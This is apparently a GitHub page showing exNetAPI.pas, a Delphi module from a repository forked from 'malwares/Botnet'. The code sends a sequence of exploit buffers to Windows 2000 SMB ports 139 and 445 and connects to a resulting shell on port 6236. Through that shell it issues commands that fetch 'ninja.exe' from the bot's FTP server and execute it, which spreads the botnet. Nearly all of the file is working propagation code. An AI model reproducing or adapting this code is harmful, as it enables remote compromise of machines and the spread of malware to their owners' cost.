forked from malwares/Botnet
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexNetAPI.pas
More file actions
116 lines (97 loc) · 3.72 KB
/
Copy pathexNetAPI.pas
File metadata and controls
116 lines (97 loc) · 3.72 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
unit exNetAPI;
interface
uses
Windows,
Winsock,
untFunctions,
untFTPD;
{$I exNetApi.ini}
Function doNetAPI(Address: String; Port: Integer; _Sock: TSocket; var lerror: string): Boolean;
implementation
Function doNetAPI(Address: String; Port: Integer; _Sock: TSocket; var lerror: string): Boolean;
Const
Shellport = 6236;
Var
recv_bytes :integer;
action :integer;
i :integer;
wsa :WSADATA;
addr :tsockaddrin;
sock :tsocket;
ssock :tsocket;
output :string;
buffer :array[0..1024] of char;
Begin
lerror := 'failed to connect';
Result := False;
recv_bytes := 0;
action := 0;
i := 0;
if _sock = invalid_socket then
wsastartup($101, wsa);
if _sock = invalid_socket then
sock := socket(af_inet, sock_stream, 0)
else
sock := _sock;
if sock = invalid_socket then
begin
addr.sin_family := af_inet;
addr.sin_port := htons(port);
addr.sin_addr.S_addr := inet_addr(pchar(address));
if connect(sock, addr, sizeof(addr)) <> 0 then exit;
end;
if port = 139 then
begin
send(sock, win2k139_0[1], sizeof(win2k139_0), 0); sleep(100);
send(sock, win2k139_1[1], sizeof(win2k139_1), 0); sleep(100);
send(sock, win2k139_2[1], sizeof(win2k139_2), 0); sleep(100);
send(sock, win2k139_3[1], sizeof(win2k139_3), 0); sleep(100);
send(sock, win2k139_4[1], sizeof(win2k139_4), 0); sleep(100);
send(sock, win2k139_5[1], sizeof(win2k139_5), 0); sleep(100);
send(sock, win2k139_6[1], sizeof(win2k139_6), 0); sleep(100);
send(sock, win2k139_7[1], sizeof(win2k139_7), 0); sleep(100);
send(sock, win2k139_8[1], sizeof(win2k139_8), 0); sleep(100);
send(sock, win2k139_9[1], sizeof(win2k139_9), 0); sleep(100);
send(sock, win2k139_10[1], sizeof(win2k139_10), 0); sleep(100);
send(sock, win2k139_11[1], sizeof(win2k139_11), 0); sleep(100);
send(sock, win2k139_12[1], sizeof(win2k139_12), 0); sleep(100);
send(sock, win2k139_13[1], sizeof(win2k139_13), 0); sleep(100);
end else
begin
send(sock, win2k445_0[1], sizeof(win2k445_0), 0); sleep(100);
send(sock, win2k445_1[1], sizeof(win2k445_1), 0); sleep(100);
send(sock, win2k445_2[1], sizeof(win2k445_2), 0); sleep(100);
send(sock, win2k445_3[1], sizeof(win2k445_3), 0); sleep(100);
send(sock, win2k445_4[1], sizeof(win2k445_4), 0); sleep(100);
send(sock, win2k445_5[1], sizeof(win2k445_5), 0); sleep(100);
send(sock, win2k445_6[1], sizeof(win2k445_6), 0); sleep(100);
send(sock, win2k445_7[1], sizeof(win2k445_7), 0); sleep(100);
send(sock, win2k445_8[1], sizeof(win2k445_8), 0); sleep(100);
send(sock, win2k445_9[1], sizeof(win2k445_9), 0); sleep(100);
send(sock, win2k445_10[1], sizeof(win2k445_10), 0); sleep(100);
send(sock, win2k445_11[1], sizeof(win2k445_11), 0); sleep(100);
send(sock, win2k445_12[1], sizeof(win2k445_12), 0); sleep(100);
end;
sleep(3000);
ssock := socket(af_inet, sock_stream, 0);
addr.sin_port := htons(shellport);
if connect(ssock, addr, sizeof(addr)) = 0 then
begin
output := 'echo open ' + ftp_mainip + ' ' + inttostr(ftp_port) + ' > n.txt'#10 +
'echo user ' + ftp_user + ' ' + ftp_pass + ' >> n.txt'#10 +
'echo binary >> n.txt'#10 +
'echo get ninja.exe >> n.txt'#10 +
'echo quit >> n.txt'#10 +
'ftp.exe -n -s:n.txt'#10 +
'ninja.exe'#10;
if recv(ssock, buffer, sizeof(buffer), 0) < 1 then exit;
if send(ssock, output[1], length(output), 0) < 1 then exit;
closesocket(ssock);
//closesocket(sock);
result := true;
end else
lerror := 'failed to open shell';
if _sock = invalid_socket then
wsacleanup();
End;
end.